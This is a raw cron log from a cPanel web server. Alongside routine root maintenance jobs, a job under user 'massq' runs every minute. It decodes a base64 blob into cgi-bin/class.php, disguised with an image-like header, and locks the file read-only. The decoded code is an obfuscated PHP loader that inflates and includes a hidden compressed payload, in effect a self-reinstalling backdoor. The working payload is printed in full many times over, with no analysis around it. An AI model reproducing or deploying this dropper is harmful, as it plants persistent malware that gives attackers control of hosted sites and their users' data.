Sep  2 23:31:01 server CROND[3666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:31:01 server CROND[3667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:31:01 server CROND[3668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:32:01 server CROND[4052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:32:01 server CROND[4053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:32:01 server CROND[4054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:33:01 server CROND[4541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:33:01 server CROND[4542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:33:01 server CROND[4543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:34:01 server CROND[4939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:34:01 server CROND[4940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:34:01 server CROND[4941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:35:01 server CROND[5342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:35:01 server CROND[5344]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 23:35:01 server CROND[5348]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:35:01 server CROND[5347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:35:01 server CROND[5349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:35:01 server CROND[5350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:35:01 server CROND[5354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:35:01 server CROND[5351]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:35:01 server CROND[5353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:36:01 server CROND[6194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:36:01 server CROND[6195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:36:01 server CROND[6196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:37:01 server CROND[6580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:37:01 server CROND[6581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:37:01 server CROND[6582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:38:01 server CROND[7062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:38:01 server CROND[7063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:38:01 server CROND[7064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:39:01 server CROND[7446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:39:01 server CROND[7447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:39:01 server CROND[7448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:39:01 server CROND[7453]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 23:40:01 server CROND[7848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:40:01 server CROND[7849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:40:01 server CROND[7853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:40:01 server CROND[7852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:40:01 server CROND[7856]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:40:01 server CROND[7850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:40:01 server CROND[7851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:40:01 server CROND[7854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:41:01 server CROND[8681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:41:01 server CROND[8683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:41:01 server CROND[8682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:42:01 server CROND[9074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:42:01 server CROND[9075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:42:01 server CROND[9076]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:42:01 server CROND[9077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:43:01 server CROND[9565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
